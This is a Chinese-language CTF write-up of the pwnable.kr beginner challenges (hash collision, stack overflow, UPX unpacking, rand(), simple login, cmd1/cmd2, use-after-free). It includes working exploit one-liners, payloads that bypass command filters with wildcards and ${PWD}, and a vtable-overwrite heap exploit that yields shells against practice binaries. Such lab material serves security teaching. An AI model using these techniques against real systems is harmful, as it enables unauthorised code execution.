记录前面一些比较简单的题目
toddler - collision
description
Daddy told me about cool MD5 hash collision today.
I wanna do something like that too!
ssh col@pwnable.kr -p2222 (pw:guest)
运行效果
❯ ./col 1111111111111111
passcode length should be 20 bytes
[root@pwn] ~/1-curr-contest/pwnable-kr/toddler/collision
❯ ./col 11111111111111111111
wrong passcode.
输入一个控制台参数,长度为 20
ida 打开看看,
loc_8048553:
mov eax, [esp+1Ch]
add eax, 4
mov eax, [eax]
mov [esp], eax # argv[1]
call check_password
mov edx, hashcode
cmp eax, edx
jnz short loc_8048581
mov dword ptr [esp], offset command ; "/bin/cat flag"
call _system
mov eax, 0
jmp short loc_8048592
.data:0804A020 hashcode dd 21DD09ECh
一个check_password 函数对 argv[1] 进行操作,返回值和 0x21DD09EC比较
相同直接cat flag
checkpassword 主要如下
loc_80484C2 开始进行5次循环
每次循环取 argv[1][index<<2] 进行相加
那么就是将输入的 argv[1] 分成五份,相加结果 == hashcode 即可
exp
python -c 'from pwn import *;print p32(0x6c5cec8+4)+p32(0x6c5cec8)*4' | xargs ./col
toddler
description
Nana told me that buffer overflow is one of the most common software vulnerability.
Is that true?
Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c
Running at : nc pwnable.kr 9000
运行效果
❯ checksec bof
[*] '/home/aqs/1-curr-contest/pwnable-kr/toddler/bof/bof'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
❯ ./bof
overflow me :
aa
Nah..
32 位的程序,relro partial 其他全开
ida 打开如下
xt:0000062C ; __unwind {
.text:0000062C push ebp
.text:0000062D mov ebp, esp
.text:0000062F sub esp, 48h
.text:00000632 mov eax, large gs:14h
.text:00000638 mov [ebp+var_C], eax
.text:0000063B xor eax, eax
.text:0000063D mov dword ptr [esp], offset s ; "overflow me : "
.text:00000644 call puts # puts("overflow me : ")
.text:00000649 lea eax, [ebp+s]
.text:0000064C mov [esp], eax ; s
.text:0000064F call gets # call gets, 这里有溢出
.text:00000654 cmp [ebp+arg_0], 0CAFEBABEh # if arg ==0x0CAFEBABE give you a shell
.text:0000065B jnz short loc_66B
.text:0000065D mov dword ptr [esp], offset command ; "/bin/sh"
.text:00000664 call system
.text:00000669 jmp short loc_677
.text:0000066B ; ---------------------------------------------------------------------------
.text:0000066B
.text:0000066B loc_66B: ; CODE XREF: func+2F↑j
.text:0000066B mov dword ptr [esp], offset aNah ; "Nah.."
.text:00000672 call puts
.text:00000677
.text:00000677 loc_677: ; CODE XREF: func+3D↑j
.text:00000677 mov eax, [ebp+var_C]
.text:0000067A xor eax, large gs:14h
.text:00000681 jz short locret_688
.text:00000683 call __stack_chk_fail
.text:00000688 ; ---------------------------------------------------------------------------
.text:00000688
.text:00000688 locret_688: ; CODE XREF: func+55↑j
.text:00000688 leave
.text:00000689 retn
.text:00000689 ; } // starts at 62C
基本思路是:
程序直接使用gets, 可以无限输入,所以有溢出
后面判断 函数的第一个参数是否是0xCAFEBABE,是的话直接给shell,好吧
那将 第一个参数覆盖成 0xCAFEBABE 即可
exp
(python -c 'from pwn import *;print "a"*0x34+p32(0xcafebabe)';cat -) |nc pwnable.kr 9000
roddler - flag
description
Papa brought me a packed present! let's open it.
Download : http://pwnable.kr/bin/flag
This is reversing task. all you need is binary
可以看到有 upx 的壳
❯ xxd flag |grep -i upx
000000b0: fcac e0a1 5550 5821 1c08 0d16 0000 0000 ....UPX!........
0004a670: 2077 6974 6820 7468 6520 5550 5820 6578 with the UPX ex
0004a690: 6874 7470 3a2f 2f75 7078 2e73 662e 6e65 http://upx.sf.ne
0004a6a0: 7420 240a 0024 4964 3a20 5550 5820 332e t $..$Id: UPX 3.
00051d80: 9041 9f00 a092 24ff 0000 0000 5550 5821 .A....$.....UPX!
00051d90: 0000 0000 5550 5821 0d16 0807 19cc 204a ....UPX!...... J
upx 脱一下壳
strings 直接出来,,
❯ strings test |grep ":)"
-+-+-+-+-++++++++++++++++++++++ :)
toddler - random
descript
Daddy, teach me how to use random value in programming!
ssh random@pwnable.kr -p2222 (pw:guest)
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+8h] [rbp-8h]
int v5; // [rsp+Ch] [rbp-4h]
v5 = rand();
v4 = 0;
__isoc99_scanf(&unk_400760, &v4);
if ( (v5 ^ v4) == 0xDEADBEEF )
{
puts("Good!");
system("/bin/cat flag");
}
else
{
puts("Wrong, maybe you should try 2^32 cases.");
}
return 0;
}
rand() 伪随机,直接gdb 调试找到这个数字 异或一下0xDEADBEEF即可
Rossis - simple login
description
Can you get authentication from this server?
Download : http://pwnable.kr/bin/login
Running at : nc pwnable.kr 9003
❯ file login
login: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=e09ec7145440153c4b3dedc3c7a8e328d9be6b55, not stripped
❯ checksec login
login/login'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
32 位的程序,没有开pie,
❯ ./login
Authenticate : 111
hash : cbf71f5375836206e1a96dda5fbe1dfa
输入一段数据之后程序会给出一个hash 字符
看看代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+18h] [ebp-28h]
char input_str; // [esp+1Eh] [ebp-22h]
unsigned int decode_len; // [esp+3Ch] [ebp-4h]
memset(&input_str, 0, 0x1Eu);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
printf("Authenticate : ");
_isoc99_scanf("%30s", &input_str);
memset(&input, 0, 0xCu);
v4 = 0;
decode_len = Base64Decode((int)&input_str, &v4);
if ( decode_len > 0xC )
{
puts("Wrong Length");
}
else
{
memcpy(&input, v4, decode_len);
if ( auth(decode_len) == 1 )
correct();
}
return 0;
}
void __noreturn correct()
{
if ( input == 0xDEADBEEF )
{
puts("Congratulation! you are good!");
system("/bin/sh");
}
exit(0);
}
可以看到逻辑很简单
输入最长为30长度的字符-> 将字符base64decode-> decode之后长度不能超过0xc-> 进行一个auth 判断,过了直接给shell,简单粗暴
那么主要就看 auth 搞什么了
_BOOL4 __cdecl auth(int a1)
{
char v2; // [esp+14h] [ebp-14h]
char *s2; // [esp+1Ch] [ebp-Ch]
int v4; // [esp+20h] [ebp-8h]
memcpy(&v4, &input, a1);
s2 = (char *)calc_md5((int)&v2, 12);
printf("hash : %s\n", s2);
return strcmp("f87cd601aa7fedca99018a8be88eda34", s2) == 0;
}
将 base64decode 之后的字符放到 v4, 计算一下md5,输出来,如果是
f87cd601aa7fedca99018a8be88eda34 的话就给一个shell.
f87cd601aa7fedca99018a8be88eda34 破解不了,但是这里因为 v4 长度只有 0x8,而input 有 0xc 长度,memcpy 的时候有溢出
嘛,这样就好办了,有溢出就可以搞事情,但是这里只能覆盖4个字节
也就是到ebp 的位置
... ↓
08:0020│ eax 0xffffd4b0 ◂— 0x61616161 ('aaaa')
09:0024│ 0xffffd4b4 ◂— 0x62626262 ('bbbb')
0a:0028│ ebp 0xffffd4b8 ◂— 0x63636363 ('cccc')
所以要做的就是
劫持 ebp --> 劫持 esp --> 然后 rop getshell了
因为input在bss段上,存放最后deecode之后的内容,所以直接劫持 ebp到 input 位置即可
.bss:0811EB40 input db ? ; ; DATA XREF: correct+6↑o
.bss:0811EB40 ; auth+D↑o ...
.bss:0811EB41 db ? ;
.bss:0811EB42 db ? ;
.bss:0811EB43 db ? ;
*EBP 0x811eb40 (input) ◂— 0x61616161 ('aaaa')
*ESP 0xffffd4bc —▸ 0x8049407 (main+250) ◂— cmp eax, 1
*EIP 0x804930c (auth+112) ◂— ret
[─────────────────────────────────────────────────────────────────────DISASM─────────────────────────────────────────────────────────────────────]
0x806eb79 <__strcmp_sse4_2+441> ret
↓
0x80492fb <auth+95> test eax, eax
0x80492fd <auth+97> jne auth+106 <0x8049306>
↓
0x8049306 <auth+106> mov eax, 0
0x804930b <auth+111> leave
► 0x804930c <auth+112> ret
auth 函数 leave ret 之后 ebp 就变成了 input 的地址
*ESP 0x811eb44 (input+4) —▸ 0x8049284 (correct+37) ◂— mov dword ptr [esp], 0x80da66f
*EIP 0x8049425 (main+280) ◂— ret
[─────────────────────────────────────────────────────────────────────DISASM─────────────────────────────────────────────────────────────────────]
0x804930c <auth+112> ret
↓
0x8049407 <main+250> cmp eax, 1
0x804940a <main+253> jne main+274 <0x804941f>
↓
0x804941f <main+274> mov eax, 0
0x8049424 <main+279> leave
► 0x8049425 <main+280> ret <0x8049284; correct+37>
↓
main 函数 leave 之后 esp 变成了 input+4 的位置, 填入 system 地址即可
exp
❯ python -c 'import struct;print ("aaaa"+struct.pack("<I",0x08049284)+struct.pack("<I",0x0811EB40)).encode("base64")'
YWFhYYSSBAhA6xEI
toddler - cmd1
cmd的部分有点是linux的使用的熟练度的问题了,嘛,记录一下
description
Mommy! what is PATH environment in Linux?
ssh cmd1@pwnable.kr -p2222 (pw:guest)
程序如下
int __cdecl main(int argc, const char **argv, const char **envp)
{
putenv("PATH=/fuckyouverymuch");
if ( !(unsigned int)filter(argv[1]) )
system(argv[1]);
return 0;
}
__int64 __fastcall filter(const char *a1)
{
_BOOL4 v1; // ST1C_4
int v2; // ST1C_4
v1 = strstr(a1, "flag") != 0LL;
v2 = (strstr(a1, "sh") != 0LL) + v1;
return (unsigned int)(strstr(a1, "tmp") != 0LL) + v2;
}
嘛,设置了 path, 然后直接调用 system(argv[1]),对于 argv[1] 的输入有一个fillter, 就是怎么绕过拿flag的了
这里很简单,不能有 flag sh tmp 等,一个通配符过之
cmd1@ubuntu:~$ ./cmd1 '/bin/cat ./f*'
mommy —+_+_+_+_+_+_____++++++++++++++++++ :)
toddler - cmd2
description
Daddy bought me a system command shell.
but he put some filters to prevent me from playing with it without his permission...
but I wanna play anytime I want!
ssh cmd2@pwnable.kr -p2222 (pw:flag of cmd1)
cmd2 和cmd1 类似,不过加强了一下 fillter
int __cdecl main(int argc, const char **argv, const char **envp)
{
delete_env();
putenv("PATH=/no_command_execution_until_you_become_a_hacker");
if ( !(unsigned int)filter(argv[1]) )
{
puts(argv[1]);
system(argv[1]);
}
return 0;
}
__int64 __fastcall filter(const char *a1)
{
_BOOL4 v1; // ST1C_4
int v2; // ST1C_4
int v3; // ST1C_4
int v4; // ST1C_4
int v5; // ST1C_4
v1 = strchr(a1, '=') != 0LL;
v2 = (strstr(a1, "PATH") != 0LL) + v1;
v3 = (strstr(a1, "export") != 0LL) + v2;
v4 = (strchr(a1, '/') != 0LL) + v3;
v5 = (strchr(a1, '`') != 0LL) + v4;
return (unsigned int)(strstr(a1, "flag") != 0LL) + v5;
}
flag 直接用通配符读即可,但是就是 路径的 / 不好搞
这里可以使用 ${PWD} 来代替, 进入 / 目录, 这样 ${PWD} 就是 /
然后直接cat flag 即可
cmd2@ubuntu:/$ home/cmd2/cmd2 '${PWD}bin${PWD}cat ${PWD}home${PWD}cmd2${PWD}f*'
${PWD}bin${PWD}cat ${PWD}home${PWD}cmd2${PWD}f*
FuN++++++++++++++++++++++
toddler - uaf
description
Mommy, what is Use After Free bug?
ssh uaf@pwnable.kr -p2222 (pw:guest)
❯ file uaf
uaf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=d53a1af6662f8b353529d5ee7afc6bf40fea6630, not stripped
uaf 64 位的程序,有三个选项
❯ ./uaf ⏎
1. use
2. after
3. free
只能输入 1,2,3 不能怎么搞的样子,还一言不合就 segment fault
ida 打开看看代码
主要逻辑如下
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
Human *v3; // rbx
__int64 v4; // rdx
Human *v5; // rbx
int v6; // eax
__int64 v7; // rax
Human *v8; // rbx
Human *v9; // rbx
const char **v10; // [rsp+0h] [rbp-60h]
char v11; // [rsp+10h] [rbp-50h]
char v12; // [rsp+20h] [rbp-40h]
Human *man; // [rsp+28h] [rbp-38h]
Human *woman; // [rsp+30h] [rbp-30h]
size_t nbytes; // [rsp+38h] [rbp-28h]
void *buf; // [rsp+40h] [rbp-20h]
int v17; // [rsp+48h] [rbp-18h]
char v18; // [rsp+4Eh] [rbp-12h]
char v19; // [rsp+4Fh] [rbp-11h]
v10 = argv;
std::allocator<char>::allocator(&v18, argv, envp);
std::string::string(&v11, "Jack", &v18);
v3 = (Human *)operator new(0x18uLL);
Man::Man(v3, (__int64)&v11, 25); // new Man()
man = v3;
std::string::~string((std::string *)&v11);
std::allocator<char>::~allocator(&v18);
std::allocator<char>::allocator(&v19, &v11, v4);
std::string::string(&v12, "Jill", &v19);
v5 = (Human *)operator new(0x18uLL);
Woman::Woman(v5, (__int64)&v12, 21); // new Woman()
woman = v5;
std::string::~string((std::string *)&v12);
std::allocator<char>::~allocator(&v19);
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
std::operator<<<std::char_traits<char>>(&std::cout, "1. use\n2. after\n3. free\n");
std::istream::operator>>(&std::cin, &v17);
if ( v17 != 2 )
break; // open(argv[2]);and then read argv[1] bytes
//
nbytes = atoi(v10[1]); // argv[1]
buf = (void *)operator new[](nbytes);
v6 = open(v10[2], 0, v10); // argv[2]
read(v6, buf, nbytes);
v7 = std::operator<<<std::char_traits<char>>(&std::cout, "your data is allocated");
std::ostream::operator<<(v7, &std::endl<char,std::char_traits<char>>);
}
if ( v17 == 3 )
break;
if ( v17 == 1 )
{
(*(void (__fastcall **)(Human *, int *))(*(_QWORD *)man + 8LL))(man, &v17);
(*(void (__fastcall **)(Human *))(*(_QWORD *)woman + 8LL))(woman);
}
}
v8 = man; // delete(man) the delete(woman)
if ( man )
{
Human::~Human(man);
operator delete((void *)v8);
}
v9 = woman;
if ( woman )
{
Human::~Human(woman);
operator delete((void *)v9);
}
}
}
这里使用的是 c++ 的类,一开始先创建 man 和woman两个对象
1 use 这里有三个类,Man,Woman 继承 Human,Human 实现了 introduce 和 getshell 两个函数,Man Woman 重写了 introduce函数,这样运行时候就因多态而进行对应函数的调用
2 after 需要传入两个控制台参数,类似 ./uaf 24 ./file
打开 argv[2], 读取 argv[1] 个byte到一个 chunk 里面
3 free 首先delete human 然后delete woman
嘛,大概就是这样,因为题目是 uaf,所以应该是利用 uaf 来搞事情
uaf 主要就是 有指针分配内存之后没有置 0, 这样就还可以访问原来的那个指针对应的 chunk区域
I can use it although after I free it 的意思大概
先调试看看
pwndbg> x/10gx 0x614c90
0x614c90: 0x0000000000000000 0x0000000000000021
0x614ca0: 0x0000000000401550 0x0000000000000015
0x614cb0: 0x0000000000614c88 0x0000000000000411
0x614cc0: 0x0a65657266202e33 0x000000000000000a
0x614cd0: 0x0000000000000000 0x0000000000000000
pwndbg> x/10gx 0x0000000000401550
0x401550 <_ZTV5Woman+16>: 0x000000000040117a 0x0000000000401376
0x401560 <_ZTV3Man>: 0x0000000000000000 0x00000000004015d0
0x401570 <_ZTV3Man+16>: 0x000000000040117a 0x00000000004012d2
0x401580 <_ZTV5Human>: 0x0000000000000000 0x00000000004015f0
0x401590 <_ZTV5Human+16>: 0x000000000040117a 0x0000000000401192
上面是 woman 的堆的对应的区域
其中 0x614ca0 保存了其对应的函数调用地址
pwndbg> x/10i 0x000000000040117a
0x40117a <_ZN5Human10give_shellEv>: push rbp
0x40117b <_ZN5Human10give_shellEv+1>: mov rbp,rsp
0x40117e <_ZN5Human10give_shellEv+4>: sub rsp,0x10
0x401182 <_ZN5Human10give_shellEv+8>: mov QWORD PTR [rbp-0x8],rdi
0x401186 <_ZN5Human10give_shellEv+12>: mov edi,0x4014a8
0x40118b <_ZN5Human10give_shellEv+17>: call 0x400cc0 <system@plt>
0x401190 <_ZN5Human10give_shellEv+22>: leave
0x401191 <_ZN5Human10give_shellEv+23>: ret
0x401192 <_ZN5Human9introduceEv>: push rbp
0x401193 <_ZN5Human9introduceEv+1>: mov rbp,rsp
pwndbg> x/10i 0x0000000000401376
0x401376 <_ZN5Woman9introduceEv>: push rbp
0x401377 <_ZN5Woman9introduceEv+1>: mov rbp,rsp
0x40137a <_ZN5Woman9introduceEv+4>: sub rsp,0x10
0x40137e <_ZN5Woman9introduceEv+8>: mov QWORD PTR [rbp-0x8],rdi
0x401382 <_ZN5Woman9introduceEv+12>: mov rax,QWORD PTR [rbp-0x8]
0x401386 <_ZN5Woman9introduceEv+16>: mov rdi,rax
Man 的组织形式也是类似,既然有指针,那就可以搞事情是吧,我把0x614ca0
保存的地址改一下,让 Man 或者Woman 调用 introduce 的时候去调用getshell 函数,然后use 一下就可以 getshell了
okay, 可以写的就只有 after 这个选项,具体的利用思路就是
1 free 一下,这样就有两个 0x18 大小的chunk,这时候对象的指针没有清空,仍可以访问,但是 函数指针变了,所以调用 use的时候会segment fault
2 after 一下,需要先控制台传入 ./uaf 24 /tmp/somefile,0x18-24,这样就可以将 after
的chunk分配到刚才 Woman 或Man 的位置,因为是Man 先delete的,根据fastbin 的规则
after 会先分配在 Woman原来的位置,这样我们想 /tmp/semefile 里写入什么就可以怎么改chunk,将指针 改为原先的位置-0x8 即可
3 因为 use 是先调用 Man,所以真正需要写的是 Man 原先的chunk, after 两次即可
具体操作如下
python -c 'from pwn import *;print p64(0x401570-0x8)' > aaaa
❯ ./uaf 24 /tmp/aaaa
1. use
2. after
3. free
3
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
1
# exit
[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。